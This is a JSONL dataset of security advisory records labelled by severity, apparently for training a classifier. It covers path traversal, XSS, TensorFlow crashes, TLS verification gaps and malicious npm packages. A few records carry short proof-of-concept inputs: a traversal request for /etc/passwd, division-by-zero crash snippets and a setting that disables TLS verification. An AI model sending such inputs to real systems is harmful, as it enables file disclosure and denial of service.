-{"id": "7c5556c89d81c49717df", "text": "Out of bounds read in bumpalo\n\nAn issue was discovered in the bumpalo crate before 3.2.1 for Rust. The realloc feature allows the reading of unknown memory. Attackers can potentially read cryptographic keys.", "text_raw": "Out of bounds read in bumpalo\n\n[Severity: HIGH]\n\nAn issue was discovered in the bumpalo crate before 3.2.1 for Rust. The realloc feature allows the reading of unknown memory. Attackers can potentially read cryptographic keys.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d9f81ba2b8a698729f0f", "text": "ActiveRecord vulnerable to modification of protected model attributes\n\nActiveRecord in Ruby on Rails before 2.3.17, 3.1.x before 3.1.11, and 3.2.x before 3.2.12 allows remote attackers to bypass the `attr_protected` protection mechanism and modify protected model attributes via a crafted request.", "text_raw": "ActiveRecord vulnerable to modification of protected model attributes\n\n[Severity: MEDIUM]\n\nActiveRecord in Ruby on Rails before 2.3.17, 3.1.x before 3.1.11, and 3.2.x before 3.2.12 allows remote attackers to bypass the `attr_protected` protection mechanism and modify protected model attributes via a crafted request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "7fbfe05162caedb66008", "text": "Directory Traversal in serve46\n\nAffected versions of `serve46` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serve46\n\n[Severity: HIGH]\n\nAffected versions of `serve46` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "0f9eb0a1f41403ac10ff", "text": "Directory traversal in fast-http\n\nThis affects all versions of package fast-http. There is no path sanitization in the path provided at fs.readFile in index.js.", "text_raw": "Directory traversal in fast-http\n\n[Severity: HIGH]\n\nThis affects all versions of package fast-http. There is no path sanitization in the path provided at fs.readFile in index.js.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "e380eef58c6ea08b7751", "text": "Microsoft Windows Server Message Block (SMBv1) Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Server Message Block 1.0 (SMBv1) contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Server Message Block (SMBv1) Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Server Message Block 1.0 (SMBv1) contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5fb6403168468b894337", "text": "Centreon 2.6.1 Stored Cross-Site Scripting Vulnerability", "text_raw": "Centreon 2.6.1 Stored Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "c8da473d1d92cd1852b6", "text": "Missing TLS certificate verification\n\nFaye uses [em-http-request][6] and [faye-websocket][10] in the Ruby version of its client. Those libraries both use the [`EM::Connection#start_tls`][1] method in [EventMachine][2] to implement the TLS handshake whenever a `wss:` URL is used for the connection. This method does not implement certificate verification by default, meaning that it does not check that the server presents a valid and trusted TLS certificate for the expected hostname. That means that any `https:` or `wss:` connection made using these libraries is vulnerable to a man-in-the-middle attack, since it does not confirm the identity of the server it is connected to.\n\nThe first request a Faye client makes is always sent via normal HTTP, but later messages may be sent via WebSocket. Therefore it is vulnerable to the same problem that these underlying libraries are, and we needed both libraries to support TLS verification before Faye could claim to do the same. Your client would still be insecure if its initial HTTPS request was verified, but later WebSocket connections were not.\n\nThis has been a requested feature in EventMachine for many years now; see for example [#275][3], [#378][4], and [#814][5]. In June 2020, em-http-request published an [advisory][7] related to this problem and fixed it by [implementing TLS verification][8] in their own codebase; although EventMachine does not implement certificate verification itself, it provides an extension point for\nthe caller to implement it, called [`ssl_verify_peer`][9]. Based on this implementation, we have incorporated similar functionality into faye-websocket.\n\nAfter implementing verification in v1.1.6, em-http-request has elected to leave the `:verify_peer` option switched off by default. We have decided to _enable_ this option by default in Faye, but are publishing a minor release with added functionality for configuring it. We are mindful of the fact that this may break existing programs, but we consider it much more important that all clients have TLS verification turned on by default. A client that is not carrying out verification is either:\n\n- talking to the expected server, and will not break under this change\n- being attacked, and would benefit from being alerted to this fact\n- deliberately talking to a server that would be rejected by verification\n\nThe latter case includes situations like talking to a non-public server using a self-signed certificate. We consider this use case to be \"working by accident\", rather than functionality that was actively supported, and it should be properly and explicitly supported instead.\n\nWe are releasing Faye v1.4.0, which enables verification by default and provides a way to opt out of it:\n\n```rb\nclient = Faye::Client.new('https://example.com/', tls: { verify_peer: false })\n```\n\nUnfortunately we can't offer an equivalent of the `:root_cert_file` option that has been added to faye-websocket, because em-http-request does not support it. If you need to talk to servers whose certificates are not recognised by your default root certificates, then you need to add its certificate (or another one that can verify it) to your system's root set.\n\nThe same functionality is now supported in the Node.js version, with a `tls` option whose values will be passed to the `https` and `tls` modules as appropriate when making connections. For example, you can provide your own CA certificate:\n\n```js\nvar client = new faye.Client('https://example.com/', {\n  tls: {\n    ca: fs.readFileSync('path/to/certificate.pem')\n  }\n});\n```\n\nFor further background information on this issue, please see [faye#524][12] and [faye-websocket#129][13]. We would like to thank [Tero Marttila][14] and [Daniel Morsing][15] for providing invaluable assistance and feedback on this issue.\n\n[1]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:start_tls\n[2]: https://rubygems.org/gems/eventmachine\n[3]: https://github.com/eventmachine/eventmachine/issues/275\n[4]: https://github.com/eventmachine/eventmachine/pull/378\n[5]: https://github.com/eventmachi", "text_raw": "Missing TLS certificate verification\n\n[Severity: HIGH]\n\nFaye uses [em-http-request][6] and [faye-websocket][10] in the Ruby version of its client. Those libraries both use the [`EM::Connection#start_tls`][1] method in [EventMachine][2] to implement the TLS handshake whenever a `wss:` URL is used for the connection. This method does not implement certificate verification by default, meaning that it does not check that the server presents a valid and trusted TLS certificate for the expected hostname. That means that any `https:` or `wss:` connection made using these libraries is vulnerable to a man-in-the-middle attack, since it does not confirm the identity of the server it is connected to.\n\nThe first request a Faye client makes is always sent via normal HTTP, but later messages may be sent via WebSocket. Therefore it is vulnerable to the same problem that these underlying libraries are, and we needed both libraries to support TLS verification before Faye could claim to do the same. Your client would still be insecure if its initial HTTPS request was verified, but later WebSocket connections were not.\n\nThis has been a requested feature in EventMachine for many years now; see for example [#275][3], [#378][4], and [#814][5]. In June 2020, em-http-request published an [advisory][7] related to this problem and fixed it by [implementing TLS verification][8] in their own codebase; although EventMachine does not implement certificate verification itself, it provides an extension point for\nthe caller to implement it, called [`ssl_verify_peer`][9]. Based on this implementation, we have incorporated similar functionality into faye-websocket.\n\nAfter implementing verification in v1.1.6, em-http-request has elected to leave the `:verify_peer` option switched off by default. We have decided to _enable_ this option by default in Faye, but are publishing a minor release with added functionality for configuring it. We are mindful of the fact that this may break existing programs, but we consider it much more important that all clients have TLS verification turned on by default. A client that is not carrying out verification is either:\n\n- talking to the expected server, and will not break under this change\n- being attacked, and would benefit from being alerted to this fact\n- deliberately talking to a server that would be rejected by verification\n\nThe latter case includes situations like talking to a non-public server using a self-signed certificate. We consider this use case to be \"working by accident\", rather than functionality that was actively supported, and it should be properly and explicitly supported instead.\n\nWe are releasing Faye v1.4.0, which enables verification by default and provides a way to opt out of it:\n\n```rb\nclient = Faye::Client.new('https://example.com/', tls: { verify_peer: false })\n```\n\nUnfortunately we can't offer an equivalent of the `:root_cert_file` option that has been added to faye-websocket, because em-http-request does not support it. If you need to talk to servers whose certificates are not recognised by your default root certificates, then you need to add its certificate (or another one that can verify it) to your system's root set.\n\nThe same functionality is now supported in the Node.js version, with a `tls` option whose values will be passed to the `https` and `tls` modules as appropriate when making connections. For example, you can provide your own CA certificate:\n\n```js\nvar client = new faye.Client('https://example.com/', {\n  tls: {\n    ca: fs.readFileSync('path/to/certificate.pem')\n  }\n});\n```\n\nFor further background information on this issue, please see [faye#524][12] and [faye-websocket#129][13]. We would like to thank [Tero Marttila][14] and [Daniel Morsing][15] for providing invaluable assistance and feedback on this issue.\n\n[1]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:start_tls\n[2]: https://rubygems.org/gems/eventmachine\n[3]: https://github.com/eventmachine/eventmachine/issues/275\n[4]: https://github.com/eventmachine/eventmachine/pull/378\n[5]: https://git", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-31", "split": "train"}
-{"id": "a40d20cb206e4238fce1", "text": "non-admin users can create integration role with administrator role\n\n### Impact\nnon-admin users can create integration role with administrator role\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "non-admin users can create integration role with administrator role\n\n[Severity: MEDIUM]\n\n### Impact\nnon-admin users can create integration role with administrator role\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "c2263236f230111f3f6a", "text": "FPE in `tf.raw_ops.UnravelIndex`\n\n### Impact\nAn attacker can cause denial of service in applications serving models using `tf.raw_ops.UnravelIndex` by triggering a division by 0:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.UnravelIndex(indices=-1, dims=[1,0,2])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/unravel_index_op.cc#L36) does not check that the tensor subsumed by `dims` is not empty. Hence, if one element of `dims` is 0, the implementation does a division by 0.\n\n### Patches\nWe have patched the issue in GitHub commit [a776040a5e7ebf76eeb7eb923bf1ae417dd4d233](https://github.com/tensorflow/tensorflow/commit/a776040a5e7ebf76eeb7eb923bf1ae417dd4d233).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "FPE in `tf.raw_ops.UnravelIndex`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause denial of service in applications serving models using `tf.raw_ops.UnravelIndex` by triggering a division by 0:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.UnravelIndex(indices=-1, dims=[1,0,2])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/unravel_index_op.cc#L36) does not check that the tensor subsumed by `dims` is not empty. Hence, if one element of `dims` is 0, the implementation does a division by 0.\n\n### Patches\nWe have patched the issue in GitHub commit [a776040a5e7ebf76eeb7eb923bf1ae417dd4d233](https://github.com/tensorflow/tensorflow/commit/a776040a5e7ebf76eeb7eb923bf1ae417dd4d233).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0465ec3b26e18817d638", "text": "Improper Restriction of XML External Entity Reference in Apache Olingo\n\nThe XML content type entity deserializer in Apache Olingo versions 4.0.0 to 4.6.0 is not configured to deny the resolution of external entities. Request with content type \"application/xml\", which trigger the deserialization of entities, can be used to trigger XXE attacks.", "text_raw": "Improper Restriction of XML External Entity Reference in Apache Olingo\n\n[Severity: MEDIUM]\n\nThe XML content type entity deserializer in Apache Olingo versions 4.0.0 to 4.6.0 is not configured to deny the resolution of external entities. Request with content type \"application/xml\", which trigger the deserialization of entities, can be used to trigger XXE attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "4815e2e4f9eea4be934c", "text": "Cross-Site Scripting in node-red\n\nVersions of `node-red` prior to 0.18.6 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize the `name` field in new items, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nUpgrade to version 0.18.6 or later.", "text_raw": "Cross-Site Scripting in node-red\n\n[Severity: HIGH]\n\nVersions of `node-red` prior to 0.18.6 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize the `name` field in new items, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 0.18.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "e3a202c3ac374e297126", "text": "XML Entity Expansion in Pippo\n\nXML Entity Expansion (Billion Laughs Attack) on Pippo 1.12.0 results in Denial of Service.Entities are created recursively and large amounts of heap memory is taken. Eventually, the JVM process will run out of memory. Otherwise, if the OS does not bound the memory on that process, memory will continue to be exhausted and will affect other processes on the system.", "text_raw": "XML Entity Expansion in Pippo\n\n[Severity: HIGH]\n\nXML Entity Expansion (Billion Laughs Attack) on Pippo 1.12.0 results in Denial of Service.Entities are created recursively and large amounts of heap memory is taken. Eventually, the JVM process will run out of memory. Otherwise, if the OS does not bound the memory on that process, memory will continue to be exhausted and will affect other processes on the system.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "5746e9b8f20832f89c45", "text": "Stored Cross Site Scripting in Grails Fields Plugin\n\nGrails Fields plugin version 2.2.7 contains a Cross Site Scripting (XSS) vulnerability in using the display tag that can result in XSS. This vulnerability has been fixed in version 2.2.8.", "text_raw": "Stored Cross Site Scripting in Grails Fields Plugin\n\n[Severity: MEDIUM]\n\nGrails Fields plugin version 2.2.7 contains a Cross Site Scripting (XSS) vulnerability in using the display tag that can result in XSS. This vulnerability has been fixed in version 2.2.8.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "ac39089bb9ba68658dc0", "text": "feedparser denial of service vulnerability\n\nfeedparser.py in Universal Feed Parser (aka feedparser or python-feedparser) before 5.0.1 allows remote attackers to cause a denial of service (application crash) via a malformed DOCTYPE declaration.", "text_raw": "feedparser denial of service vulnerability\n\n[Severity: HIGH]\n\nfeedparser.py in Universal Feed Parser (aka feedparser or python-feedparser) before 5.0.1 allows remote attackers to cause a denial of service (application crash) via a malformed DOCTYPE declaration.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "fb33ab50b029d144e849", "text": "Division by 0 in `FusedBatchNorm`\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:\n\n```python\nimport tensorflow as tf\n\nx = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)\nscale = tf.constant([], shape=[0], dtype=tf.float32)\noffset = tf.constant([], shape=[0], dtype=tf.float32)\nmean = tf.constant([], shape=[0], dtype=tf.float32)\nvariance = tf.constant([], shape=[0], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n\ntf.raw_ops.FusedBatchNorm(\n    x=x, scale=scale, offset=offset, mean=mean,\n    variance=variance, epsilon=epsilon,\n    exponential_avg_factor=exponential_avg_factor,\n    data_format=data_format, is_training=is_training)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:\n\n```cc \nconst int depth = x.dimension(3);\nconst int rest_size = size / depth;\n```\n\nSince this is controlled by the user, an attacker can trigger a denial of service.\n\n### Patches\nWe have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `FusedBatchNorm`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:\n\n```python\nimport tensorflow as tf\n\nx = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)\nscale = tf.constant([], shape=[0], dtype=tf.float32)\noffset = tf.constant([], shape=[0], dtype=tf.float32)\nmean = tf.constant([], shape=[0], dtype=tf.float32)\nvariance = tf.constant([], shape=[0], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n\ntf.raw_ops.FusedBatchNorm(\n    x=x, scale=scale, offset=offset, mean=mean,\n    variance=variance, epsilon=epsilon,\n    exponential_avg_factor=exponential_avg_factor,\n    data_format=data_format, is_training=is_training)\n``` \n  \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:\n\n```cc \nconst int depth = x.dimension(3);\nconst int rest_size = size / depth;\n```\n\nSince this is controlled by the user, an attacker can trigger a denial of service.\n\n### Patches\nWe have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "075252aadebe0d28b2d6", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "9702b4c1cbaf68f792af", "text": "Malicious Package in requets\n\nAll versions of `requets` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requets\n\n[Severity: CRITICAL]\n\nAll versions of `requets` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "2e3bde995a51a75df8c9", "text": "Cross Site Scripting in baserCMS\n\nbaserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS).\n\n* Impact: XSS via Arbitrary script execution.\n* Attack vector is: Administrator must be logged in.\n* Components are: content_fields.php, content_info.php, content_options.php, content_related.php, index_list_tree.php, jquery.bcTree.js\n* Tested baserCMS Version : 4.3.6 (Latest)\n* Affected baserCMS Version : 4.0.0 ~ 4.3.6\n* Patches : https://basercms.net/security/20200827\n\nFound by Aquilao Null", "text_raw": "Cross Site Scripting in baserCMS\n\n[Severity: LOW]\n\nbaserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS).\n\n* Impact: XSS via Arbitrary script execution.\n* Attack vector is: Administrator must be logged in.\n* Components are: content_fields.php, content_info.php, content_options.php, content_related.php, index_list_tree.php, jquery.bcTree.js\n* Tested baserCMS Version : 4.3.6 (Latest)\n* Affected baserCMS Version : 4.0.0 ~ 4.3.6\n* Patches : https://basercms.net/security/20200827\n\nFound by Aquilao Null", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-28", "split": "train"}
-{"id": "4e2f7fe6cf1f49796109", "text": "Path Traversal in hekto\n\nVersions of `hekto` before 0.2.3 are vulnerable to path traversal. This allows a remote attacker to read content of arbitrary files.\n\n## Recommendation\n\nUpdate to version 0.2.3 or later.", "text_raw": "Path Traversal in hekto\n\n[Severity: HIGH]\n\nVersions of `hekto` before 0.2.3 are vulnerable to path traversal. This allows a remote attacker to read content of arbitrary files.\n\n\n## Recommendation\n\nUpdate to version 0.2.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "a42e600bd42ad3453013", "text": "After order payment process manipulation in shopware/platform and shopware/core\n\n### Impact\n\nAfter order payment process manipulation\n\n### Patches\nWe recommend to update to the current version 6.3.5.3. You can get the update to 6.3.5.3 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\n\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2021", "text_raw": "After order payment process manipulation in shopware/platform and shopware/core \n\n[Severity: CRITICAL]\n\n### Impact\n\nAfter order payment process manipulation\n\n### Patches\nWe recommend to update to the current version 6.3.5.3. You can get the update to 6.3.5.3 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\n\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2021", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "d59868d56b68dee1406e", "text": "iScripts EasyCreate 3.0 Multiple Vulnerabilities", "text_raw": "iScripts EasyCreate 3.0 Multiple Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-01-28", "split": "train"}
-{"id": "15acb1a2b88e5da48940", "text": "Improper input validation in CNCF Cortex\n\nThe Alertmanager in CNCF Cortex before 1.8.1 has a local file disclosure vulnerability when -experimental.alertmanager.enable-api is used. The HTTP basic auth password_file can be used as an attack vector to send any file content via a webhook. The alertmanager templates can be used as an attack vector to send any file content because the alertmanager can load any text file specified in the templates list.", "text_raw": "Improper input validation in CNCF Cortex\n\n[Severity: MEDIUM]\n\nThe Alertmanager in CNCF Cortex before 1.8.1 has a local file disclosure vulnerability when -experimental.alertmanager.enable-api is used. The HTTP basic auth password_file can be used as an attack vector to send any file content via a webhook. The alertmanager templates can be used as an attack vector to send any file content because the alertmanager can load any text file specified in the templates list.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "a6952ac9a54c02110c1f", "text": "Malicious Package in js-shi3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-shi3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1c2ac9524256dfacb935", "text": "Istio Fragments in Path May Lead to Authorization Policy Bypass\n\n### Impact\nIstio 1.11.0, 1.10.3 and below, and 1.9.7 and below contain a remotely exploitable vulnerability where an HTTP request with `#fragment` in the path may bypass Istio’s URI path based authorization policies.\n\n### Patches\n* Istio 1.11.1 and above\n* Istio 1.10.4 and above\n* Istio 1.9.8 and above\n\n### Workarounds\nA Lua filter may be written to normalize the path.  This is similar to the Path normalization presented in the [Security Best Practices](https://istio.io/latest/docs/ops/best-practices/security/#case-normalization) guide.\n\n### References\nMore details can be found in the [Istio Security Bulletin](https://istio.io/latest/news/security/istio-security-2021-008)\n\n### For more information\nIf you have any questions or comments about this advisory, please email us at istio-security-vulnerability-reports@googlegroups.com", "text_raw": "Istio Fragments in Path May Lead to Authorization Policy Bypass\n\n[Severity: HIGH]\n\n### Impact\nIstio 1.11.0, 1.10.3 and below, and 1.9.7 and below contain a remotely exploitable vulnerability where an HTTP request with `#fragment` in the path may bypass Istio’s URI path based authorization policies. \n\n### Patches\n* Istio 1.11.1 and above\n* Istio 1.10.4 and above\n* Istio 1.9.8 and above\n\n### Workarounds\nA Lua filter may be written to normalize the path.  This is similar to the Path normalization presented in the [Security Best Practices](https://istio.io/latest/docs/ops/best-practices/security/#case-normalization) guide.\n\n### References\nMore details can be found in the [Istio Security Bulletin](https://istio.io/latest/news/security/istio-security-2021-008)\n\n### For more information\nIf you have any questions or comments about this advisory, please email us at istio-security-vulnerability-reports@googlegroups.com\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "4b674f1349259260ee87", "text": "Prototype pollution in json-pointer\n\nThis affects the package json-pointer before 0.6.1. Multiple reference of object using slash is supported.", "text_raw": "Prototype pollution in json-pointer\n\n[Severity: MEDIUM]\n\nThis affects the package json-pointer before 0.6.1. Multiple reference of object using slash is supported.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "36729a0a653dbe608128", "text": "Improper Certificate Validation in Puppet\n\nPreviously, Puppet operated on the model that a node with a valid certificate was entitled to all information in the system and that a compromised certificate allowed access to everything in the infrastructure. When a node's catalog falls back to the `default` node, the catalog can be retrieved for a different node by modifying facts for the Puppet run. This issue can be mitigated by setting `strict_hostname_checking = true` in `puppet.conf` on your Puppet master. Puppet 6.13.0 changes the default behavior for strict_hostname_checking from false to true. It is recommended that Puppet Open Source and Puppet Enterprise users that are not upgrading still set strict_hostname_checking to true to ensure secure behavior.", "text_raw": "Improper Certificate Validation in Puppet\n\n[Severity: MEDIUM]\n\nPreviously, Puppet operated on the model that a node with a valid certificate was entitled to all information in the system and that a compromised certificate allowed access to everything in the infrastructure. When a node's catalog falls back to the `default` node, the catalog can be retrieved for a different node by modifying facts for the Puppet run. This issue can be mitigated by setting `strict_hostname_checking = true` in `puppet.conf` on your Puppet master. Puppet 6.13.0 changes the default behavior for strict_hostname_checking from false to true. It is recommended that Puppet Open Source and Puppet Enterprise users that are not upgrading still set strict_hostname_checking to true to ensure secure behavior.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
